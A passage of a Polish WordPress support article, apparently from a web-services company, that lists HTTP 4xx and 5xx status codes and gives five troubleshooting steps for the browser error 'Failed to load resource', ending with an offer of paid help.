Failed to load resource: the server responded with a status of 415 [Unsupported Media Type]
Ten błąd oznacza, że składani zapytania nie jet zrozumiała dla serwera.

Failed to load resource: the server responded with a status of 416 [Requested Range Not Satisfiable]
Określony w zapytaniu zakres nie może być obsłużony przez serwer.

Failed to load resource: the server responded with a status of 417 [Expectation Failed]
Oczekiwana wartość zapytania w nagłówku Expect nie może zostać zrealizowana przez serwer pośredniczący lub docelowy.

Failed to load resource: the server responded with a status of 418 [I’m a teapot]
To easter egg stworzony w 1998 roku i nie używany już implementacji protokołu HTTP.

Failed to load resource: the server responded with a status of 421 [Misdirected Request]
Zapytanie zostało skierowane do serwera, który nie powinien go otrzymać, bądź który nie jest w stanie na nie odpowiedzieć.

Failed to load resource: the server responded with a status of 422 [Unprocessable Entity]
Samo zapytanie jest poprawne, lecz istnieje problem z semantycznymi błędami.

Failed to load resource: the server responded with a status of 423 [Locked]
Próba uzyskania dostępu do zasobu, który jet aktualnie zablokowany.

Failed to load resource: the server responded with a status of 424 [Failed Dependency]
Brak powodzenia żądania, ponieważ jest ono zależne od innego żądania, które również nie powiodło się.

Failed to load resource: the server responded with a status of 425 [Too Early]
Serwer nie chce ryzykować przetwarzania żądania, które może zostać powtórzone ze względu na ryzyko ataku typu Replay.

Failed to load resource: the server responded with a status of 426 [Upgrade Required]
Serwer odmawia wykonania żądania używając aktualnego protokołu. Wymagany protokół dla klienta przekazany jest w nagłówku Upgrade.

Failed to load resource: the server responded with a status of 428 [Precondition Required]
Brak nagłówka wstępnego, który jest wymagany przez serwer. Żądanie musi być warunkowe.

Failed to load resource: the server responded with a status of 429 [Too Many Requests]
W określonym czasie klient wysłał zbyt wiele żądań do serwera.

Failed to load resource: the server responded with a status of 431 [Request Header Fields Too Large]
Serwer odmawia wykonania żądania ze względu na zbyt duże pole lub pola nagłówka.

Failed to load resource: the server responded with a status of 444 [Connection Closed Without Response]
Status informujący o tym, że połączenie zostało przerwane bez odpowiedzi klientowi.

Failed to load resource: the server responded with a status of 451 [Unavailable For Legal Reasons]
Żądane zasoby zostały zablokowane ze względu na naruszenia prawa.

Failed to load resource: the server responded with a status of 499 [Client Closed Request]
Zamknięcie połączenia przez klienta w trakcie przetwarzania go przez serwer.

Błąd Failed to load resource 5xx [błąd serwera HTTP]:

Błędy zaczynające się od kodu 5xx oznaczają problem z serwerem HTTP obsługującym żądanie:

Failed to load resource: the server responded with a status of 500 [Internal Server Error]
Wewnętrzny błąd serwera uniemożliwiające załadowanie zasobu.

Failed to load resource: the server responded with a status of 501 [Not Implemented]
Nie zaimplementowano tj. serwer nie obsługuje żądanego typu zapytania.

Failed to load resource: the server responded with a status of 502 [Bad Gateway]
Błąd bramy, czyli serwera pośredniczącego w żądaniu klienta.

Failed to load resource: the server responded with a status of 503 [Service Unavailable]
Ze względu na przeciążenie serwer chwilowo nie jest w stanie obsłużyć to żądanie.

Failed to load resource: the server responded with a status of 504 [Gateway Timeout]
Serwer pośredniczący nie otrzymał w określonym czasie odpowiedzi od serwera nadrzędnego.

Failed to load resource: the server responded with a status of 505 [HTTP Version Not Supported]
Wersja HTTP używana przez klienta nie jest obsługiwana przez serwer.

Failed to load resource: the server responded with a status of 506 [Variant Also Negotiates]
Wewnętrzny problem serwera kiedy wskazany zasób jest skonfigurowany do samodzielnej negocjacji.

Failed to load resource: the server responded with a status of 507 [Insufficient Storage]
Serwer ma problem z zapisaniem danych niezbędnych do wykonania żądania.

Failed to load resource: the server responded with a status of 508 [Loop Detected]
Serwer przerwał wykonywanie żądania ze względu na nieskończoną pętlę.

Failed to load resource: the server responded with a status of 510 [Bandwidth Limit Exceeded]
Serwer jest niedostępny ze względu na przekroczenie limitu danych.

Failed to load resource: the server responded with a status of 510 [Not Extended]
Serwer nie obsługuje rozszerzenia niezbędne do wykonania tego żądania.

Failed to load resource: the server responded with a status of 511 [Network Authentication Required]
Uwierzytelnienie musi zostać dokonane przed dostępem do sieci.

Failed to load resource: the server responded with a status of 522 [Connection timed out]
Ten błąd występuje tylko w przypadku korzystania z usługi CloudFlare i oznacza, że został przekroczony czas oczekiwania na zasoby po stronie serwera docelowego.

Failed to load resource: the server responded with a status of 599 [Network Connect Timeout Error]
Serwer proxy informuje klientowi znajdującemu się przed proxy o limicie czasu połączenia za serwerem proxy.

Potrzebujesz pomocy ze swoim błędem HTTP? Skontaktuj się z nami ☺️

Poniżej znajdziesz najczęstsze przyczyn oraz sposoby radzenia sobie z tym błędem. Zaczynamy 🤓

Błąd Failed to load Resource

Jeżeli chcesz samodzielnie naprawić problem z ładowaniem zasobów Failed to Load Resource koniecznie postępuj zgodnie z poniższym poradnikiem krok po kroku. W innym wypadku skontaktuj się z nami, abyśmy to my za Ciebie usunęli błąd Failed to load Resource.

1. Failed to load Resource – media WordPress

Pierwszym krokiem w rozwiązaniu problemu z Failed to load Resource jest sprawdzenie, czy w bibliotece WordPress nie znajdują się elementy, które zostały już np. wcześniej usunięte z serwera. W takiej sytuacji strona internetowa próbuje załadować elementy, do których istnieją wpisy w bazy danych MySQL, lecz fizycznie elementy te nie znajdują się już na serwerze.

Może to wyglądać w taki sposób:

Failed to load Resource w WordPress - media

Brakujące grafiki w bibliotece WordPress.

Jeżeli zdjęcia z błędem Failed to load Resource nie są widoczne w bibliotece to należy usunąć je całkowicie z WordPress i dodać ponownie. Jeżeli jednak widzisz je w bibliotece, na stronie się nie wyświetlają, to przejdź do edycji strony lub wpisu i ponownie wczytaj je z biblioteki WordPress.

Możesz także sprawdzić ten poradnik jeżeli masz problem ze zdjęciami WordPress: Zdjęcia WordPress się nie wyświetlają.

2. Failed to load Resource – motywy i wtyczki

Jeżeli problem z Failed to load Resource dotyczy motywów [szablonów] i/lub wtyczek WordPress to należy je ponownie zainstalować. W przypadku płatnych motywów i wtyczek konieczne może być odwiedzenie strony producenta i ręczne wgranie plików na serwer za pomocą klienta FTP.

Jeżeli korzystasz natomiast z wtyczek i motywów dostępnych w repozytorium WordPress to wystarczy wyłączyć wtyczkę w sekcji Wtyczki, a następnie ponownie dodać ją klikając Dodaj nową u góry ekranu. Sytuacja trochę komplikuje się, gdy mowa o motywie, ponieważ najpierw musisz wyłączyć aktualny motyw. Jednak możliwe jest to dopiero, gdy masz zainstalowany drugi motyw, który możesz wybrać jako aktywny, dlatego polecamy zainstalować w tej sytuacji darmowy motyw WordPress o nazwie Twenty Twenty od twórców WordPress.

Błąd Failed to load Resource w WordPress - motywy

Instalacja domyślnego motywu WordPress.

Następnie ponownie zainstaluj darmowy motyw WordPress.

Uwaga! Reinstalacja motywów i wtyczek WordPress może skutkować utratą danych!

Dlatego zawsze wykonaj kopię zapasową WordPress.

3. Failed to load Resource – uprawnienia folderów

Bardzo często przyczyną problemów z błędem Failed to load Resource są zbyt małe uprawnienia plików i folderów na serwerze WordPress. Aby to sprawdzić, przejdź za pomocą klienta FTP do przeglądarki swojego serwera i zobacz, czy aby na pewno wtyczka, motyw lub plik multimedialny posiada uprawnienia o kodzie 755 niezbędne do poprawnego ich otwarcia oraz wykonania na stronie WordPress.

4. Failed to load Resource – adresy URL

Ostatnią przyczyną problemów z komunikatem Failed to load Resource mogą być wadliwe linki URL wynikające np. z nie do końca udanej zmiany domeny internetowej.

Jedną z możliwości naprawy tej sytuacji jest udanie się to zakładki Ustawienia i Ogólne, a następnie sprawdzenie, czy wprowadzony tam adres strony www jest prawidłowy.

Failed to load Resource - adres URL

Sprawdzenie adresu URL w ustawieniach WordPress.

Adresy w obu polach muszą być identyczne oraz zgodne z faktycznym miejscem wyświetlania strony WordPress.

Pamiętaj, że adres URL z lub bez www oraz http:// i https:// są różnymi adresami URL.

Czasami przyczyną powstania błędu Failed to load Resource może być właśnie migracja strony na protokół https:// lub usunięcie przedrostka www.

5. Failed to load Resource – dostępność serwera

Bardzo często przyczyną błędu Failed to load Resource jest problem z serwerem, na którym znajdują się potrzebne do załadowania zasoby. Może wynikać to np. z faktu, że serwer jest przeciążony, a co za tym idzie czas wykonywania poleceń jest zbyt długi. Błąd Failed to load Resourcmoże oznaczać także, że jest aktualnie serwer jest po prostu niedostępny, czyli wystąpiła jego awaria.

Co musisz zrobić? Skontaktuj się z usługodawcą i dowiedz się, gdzie leży problem, a także poproś o dostęp do logów serwera od momentu, gdy zaistniał problem.

Napraw z nami błąd Failed to load Resource

W dalszym ciągu widzisz komunikat Failed to load Resource lub nie widzisz 🙄 treści na stronie WP? Nie martw się, jesteśmy by Ci pomóc. Kliknij tutaj i napisz do nas wiadomość! Błyskawicznie pomożemy Ci rozwiązać problem z Twoim WordPressem 🤓 Do usłyszenia ✋

Na stronie Sirius Pro nie korzystamy z plików cookies oraz kodów śledzących, a także nie profilujemy Twojej aktywności, dzięki czemu możesz korzystać z niej całkowicie anonimowo i prywatnie.